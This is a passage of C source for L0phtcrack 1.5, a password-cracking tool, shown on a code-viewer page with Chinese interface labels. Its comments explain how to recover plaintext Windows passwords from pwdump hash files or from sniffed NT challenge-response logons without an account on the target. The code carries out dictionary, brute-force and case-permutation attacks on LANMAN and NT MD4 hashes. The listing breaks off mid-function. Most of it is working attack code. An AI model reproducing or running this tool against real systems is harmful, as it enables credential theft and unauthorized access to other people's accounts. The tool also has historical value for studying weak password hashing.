📄 ztest.c
字号:
/* L0phtcrack 1.5 06.02.97 mudge@l0pht.com
The original comments are left below for those that missed the first
release. It still does all of the things the first one did PLUS:
. Can now dictionary attack or brute force the network NT server
challenge that is used to prevent the OWF from going across the
wire in its plaintext format. Here's how their setup works:
[assuming initial setup etc...]
8byte "random" challenge
Client <---------------------- Server
OWF1 = pad Lanman OWF with 5 nulls
OWF2 = pad NT OWF with 5 nulls
resp = E(OWF1, Chal) E(OWF2, Chal)
48byte response (24byte lanman 24byte nt)
Client -----------------------> Server
The client takes the OWF ( all 16 bytes of it) and pads with 5 nulls.
From this point it des ecb encrypts the, now 21byte, OWF with the
8byte challenge. The resulting 24byte string is sent over to the
server who performs the same operations on the OWF stored in it's
registry and compares the resulting two 24byte strings. If they
match the user used the correct passwd.
What's cool about this? Well, now you can take your sniffer logs
of NT logons and retrieve the plaintext passwords. This does not
require an account on the NT machine nor does it require previous
knowledge of the ADMINISTRATOR password.
See, the problem was that of Microsoft's horrible marketing driven
patch to prevent pwdump from working. [elaborate on why that sucked]
. Recursion has been removed from both the brute forcing in the Lanman
case and also in the NT case derivation from the Lanman password.
The iterative functions, although they don't logically represent
the problem as well as their recursive predecessors, are much more
memory friendly.
. The large bruter routine no longer overflows the Pentium L2 cache,
well it didn't seem to do so bad if you had a 512k L2 cache as opposed
to a 256k on. This offers a large performance increase in bruting.
. A couple of bugs were fixed.
/* NT-Cracker 03.24.97 mudge@l0pht.com
This program takes the smbpassword file or the output generated by
the excellent program pwdump (author name) and dictionary attacks
the LANMAN One Way Password -
LANMAN One Way Passwords are created in the following fashion:
. The password is first converted to uppercase
. If the password is longer than 14 chars (bytes) then it
is truncated
. If the password is less than 14 chars (bytes) then it is
padded with NULL's to 14 bytes.
. The padded/truncated password is then split in half and each
half is used to generate an odd parity DES key
. An 8 byte fixed value is then encrypted with each of the
DES keys - these two results are concatenated together
to produce a 16byte hash.
The fixed value that is encrypted by each of the DES keys is the
decryption of the value 0xAAD3B435B51404EE with a key of all zeros.
Todo: add an entire keyspace attack to guarantee
we get all of the passwords
Todo: Roll this into pwdump and add the ability to try to brute
force the administrators passwords on remote machines to obtain
full user listings and OWPasswords.
Todo: GUI for the Windows users - weld's job
Todo: CLI portable
Todo: If not bruting - let people know if we couldn't find the passwd in a
dictionary and the word is <= 7 chars
Crikey! Now I see where ECB mode is going to kill them in the NT
dialect - this should make bruting either one trivial!
BIG KUDOS go out to Hobbit@avian.org for his outstanding work in debunking
CIFS. Without information provided in his paper this program wouldn't be
here!
This work is provided by the L0pht - it contains code from the
following places:
. Plenty of original code
. generic routines from the samba code source
. md4 routines from RSA
. DES routines from Eric Young's libdes
*/
#include "includes.h"
void f2(struct user_struct *Ustruct, char *str);
extern void fill_user_struct(char *dastring, struct user_struct *da_struct);
extern void str_to_key(unsigned char *,unsigned char *);
extern void usage(char *);
extern void LMword(char *, char *);
extern char * atob(char *, int);
extern int htoi(char c);
int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case);
void md4hash(char *passwd, unsigned char *p16, int len);
extern int PutUniCode(char *dst,char *src);
void chcase(char *str, int pos);
void LowerString(char *holder, char *word);
void printuser(struct user_struct *Ustruct, FILE *file);
int cracklanman(struct user_struct *Ustruct, char *dict_word, char *tmphash);
extern int isvalid_userline(char *user_entry);
extern struct user_struct * init_linked_list();
extern void add_list_struct(struct user_struct *, char *);
extern struct user_struct * remove_from_list(struct user_struct *);
extern struct user_struct * rewind_list(struct user_struct *);
extern void print_and_prune(struct user_struct *record, FILE *outlist);
extern void build_linked_list(struct user_struct *head, FILE *pwlist);
extern struct user_struct * filter_disabled(struct user_struct *head, FILE *outlist);
extern struct user_struct * filter_nopasswd(struct user_struct *head, FILE *outlist);
extern struct user_struct * setup_linked_list(int, FILE *, FILE *);
int Lanman(struct user_struct *index, char *dict_word, FILE *outlist);
int nt(struct user_struct *index, char *dict_word, FILE *outlist);
int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist);
extern void free_struct_list(struct user_struct *);
int brute_lanman(struct user_struct *Ustruct, FILE *outlist);
void half_lanman(char *, char *);
int brute_routine(struct user_struct *head, char *half_hash, char *, int iter);
int lm_check_sniff(struct user_struct *, char *);
int nt_check_sniff(struct user_struct *, char *);
extern void nt_ify_list(struct user_struct *head);
extern void print_hits(struct user_struct *head, FILE *outlist);
extern struct user_struct * prune_list(struct user_struct *head);
extern void E_P24(uchar *, uchar *, uchar *);
int issame(char *, char *, int);
/* Global str_to_crypt - this is what is encrypted with each of the
odd parity DES keys for LANMAN - It is derived by decrypting the
fixed byte quantity 0xAAD3B435B51404EE with a key
of all 0's ie:
fixed_key[] = "\xAA\xD3\xB4\x35\xB5\x14\x04\xEE";
memset(deskey3, '\0', sizeof(deskey3)); - key of all 0's
des_set_key((des_cblock *)deskey3, ks3);
des_ecb_encrypt((des_cblock *)fixed_key,
(des_cblock *)str_to_crypt, ks3, DES_DECRYPT);
*/
char str_to_crypt[] = "\x4b\x47\x53\x21\x40\x23\x24\x25";
void main(int argc, char **argv) {
FILE *pwlist, *wordlist, *outlist;
char dict_word[MAX_WORD];
char *pwfile, *wordfile, *outfile;
struct user_struct *head, *index, *foo, *bar;
extern char *optarg;
int c, pcount=0, Pcount=0, wcount=0, ocount=0, brute=0;
int lanonly=0, ntonly=0;
int ret=0;
while ( (c = getopt(argc, argv, "p:P:w:blno:")) != EOF){
switch(c) {
case 'p': /* passwd file from pwdump */
pwfile = optarg;
pcount++;
break;
case 'P': /* passwd file from sniffer logs -
we will look at Pcount / pcount to figure
out what type of file pwfile is really pointing
to */
pwfile = optarg;
Pcount++;
break;
case 'w': /* dictionary of words */
wordfile = optarg;
wcount++;
break;
case 'o': /* output file */
outfile = optarg;
ocount++;
break;
case 'l': /* crack LANMAN password ONLY */
lanonly++;
break;
case 'n': /* crack NT Dialect only - dumb -
better performance cracking both */
ntonly++;
break;
case 'b': /* brute force through keyspace */
brute++;
break;
default:
usage(argv[0]);
}
}
if ((pcount == 0 && Pcount == 0) || (pcount > 0 && Pcount > 0))
usage(argv[0]);
else if ((wcount == 0 && brute == 0) || (wcount > 0 && brute > 0))
usage(argv[0]);
if (lanonly > 0 && ntonly > 0)
usage(argv[0]);
if ((pwlist = fopen(pwfile, "r")) == NULL){
fprintf(stderr, "Error: could not open %s\n", pwfile);
exit(1);
}
if (wcount > 0 ) {
if ((wordlist = fopen(wordfile, "r")) == NULL){
fprintf(stderr, "Error: could not open %s\n", wordfile);
exit(1);
}
}
if (ocount > 0){
if ((outlist = fopen(outfile, "w")) == NULL){
fprintf(stderr, "Error: could not open %s\n", outfile);
exit(1);
}
} else
outlist = stdout;
head = setup_linked_list(pcount, pwlist, outlist); /* pcount will
be 1 if it's a regular pwdump file and
0 if it is a sniffer log with the
challenge response */
foo = index = head;
/* main loop */
head = rewind_list(index);
index = foo = bar = head;
if (head == NULL){
fprintf(stderr, "Nothing to do so I guess I'm done\n");
exit(1);
}
if (brute){
ret = brute_lanman(index, outlist);
}else{
while (fgets(dict_word, MAX_WORD, wordlist) != NULL) {
head = rewind_list(index);
index = foo = bar = head;
if (head == NULL){
fprintf(stderr, "Done\n");
exit(1);
}
while (bar != NULL){
if (lanonly){
Lanman(index, dict_word, outlist);
} else if (ntonly) {
nt(index, dict_word, outlist);
} else {
Lanman_and_nt(index, dict_word, outlist);
}
if (index->next == NULL){
bar = NULL;
}else{
index = index->next;
}
}
}
} /* else from brute_lanman */
if (ret == 0){ /* if ret is > 0 then we have already pruned ALL
of the structs in the list... */
head = rewind_list(index);
free_struct_list(head);
}
if (ocount > 0)
fclose(outlist);
if (wcount > 0)
fclose(wordlist);
if (pcount > 0)
fclose(pwlist);
}
/* routine to check the LANMAN passwd */
int cracklanman(struct user_struct *Ustruct, char *dict_word, char *fullhash){
unsigned char passwd[14];
unsigned char lanman[16];
des_cblock deskey1, deskey2;
des_key_schedule ks1, ks2;
memset(passwd, '\0', sizeof(passwd));
memset(lanman, '\0', sizeof(lanman));
LMword((char *)passwd, dict_word); /* uppercases and
truncs/concats word into passwd */
if (!Ustruct->pwdumpval){
if (lm_check_sniff(Ustruct, passwd) == 1)
return(1);
else
return(0);
}
str_to_key(passwd, deskey1); /* create the first 8byte odd
parity des key */
des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */
des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known
8byte value */
(des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the
first des key */
str_to_key(&(passwd[7]), deskey2);
des_set_key((des_cblock *)deskey2,ks2);
des_ecb_encrypt((des_cblock *)str_to_crypt,\
(des_cblock *)&lanman[8], ks2, DES_ENCRYPT);
strncpy(fullhash, (const char *)lanman, sizeof(lanman));
if (memcmp(Ustruct->lmhashb, lanman, sizeof(lanman)) == 0){
strncpy(Ustruct->lmpasswd, (const char *)passwd, LMPASSWDLEN);
return(1);
}
return(0);
}
/* routine to check the md4 NT dialect passwd derived from the
succesfull LANMAN passwd. returns 1 if succesfull, 0 otherwise -
if check case is > 0 then all possible permutations of upper/lower
are tried, if <=0 then just try the word in the case that we recieved
it in. */
int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case){
char ntpasswd[129];
char *hold;
unsigned char *p16;
int pos, uni_len;
memset(ntpasswd, '\0', sizeof(ntpasswd));
if (check_case){ /* go through the possible case sensitive perms */
LowerString(ntpasswd, passwd);
pos = strlen(passwd) -1;
f2(Ustruct, ntpasswd);
}else{ /* not interested in case sensitivity - just try the dict word as
we have it */
if (passwd[strlen(passwd)-1] == '\n') /* strip the \n - this
is done in LowerString for the case sensitive
check */
passwd[strlen(passwd)-1] = '\0';
hold = (char *)malloc(NTPASSWDLEN * 2); /* grab space for
unicode */
if (hold == NULL){
fprintf(stderr, "out of memory...crackntdialog hold\n");
exit(1);
}
uni_len = PutUniCode(hold, passwd); /* convert to
unicode and return correct
unicode length for md4 */
p16 = (unsigned char*)malloc(16); /* grab space for md4 hash */
if (p16 == NULL){
fprintf(stderr, "out of memory...crackntdialect p16\n");
exit(1);
}
md4hash(hold, p16, uni_len);
if (Ustruct->pwdumpval){
if (memcmp(p16, &Ustruct->nthashb, 16) == 0)
strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN);
} else {
if (nt_check_sniff(Ustruct, p16) == 1){
strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN);
}
}
free(p16);
free(hold);
}
if (strlen(Ustruct->ntpasswd) > 0){
Ustruct->ntdone = 1;
return(1);
} else
return(0);
}
/* Recursively check all variations on case as the NT Dialect passwd is case
sensitive. This isn't too bad as the total possible perms is only 2 to the
power of strlen(wordtocompare). We really need to make this iterative
to save on memory and increase speed. If the function finds a match it
puts it in Ustruct->ntpasswd. */
void f2(struct user_struct *Ustruct, char *str){
unsigned long i,j;
char tmp[128], hold[256];
char ntresp[21], response[24];
unsigned char p16[16];
int len, uni_len, iters;
len = strlen(str);
iters = 1 << len;
#ifdef _DEBUG
printf("str: %s - len: %d\n", str, len);
fflush(NULL);
#endif
for (i=0; i<iters; i++) {
strcpy(tmp, str);
/* Set case for this round */
for (j=0; j<len; j++) {
if ( i & (1 << j)) {
tmp[j] = toupper(tmp[j]);
}
}
#ifdef _DEBUG
printf("%d: %x %s \n", i, tmp, tmp);
fflush(NULL);
#endif
uni_len = PutUniCode(hold, tmp);
md4hash(hold, p16, uni_len);
if (Ustruct->pwdumpval){ /* we're dealing with pwdump */
if (memcmp(p16, Ustruct->nthashb, 16) == 0){
strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN);
return;
/* finished=1; */
}
} else { /* we're dealing with sniffer logs */
if (nt_check_sniff(Ustruct, p16) == 1){
strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -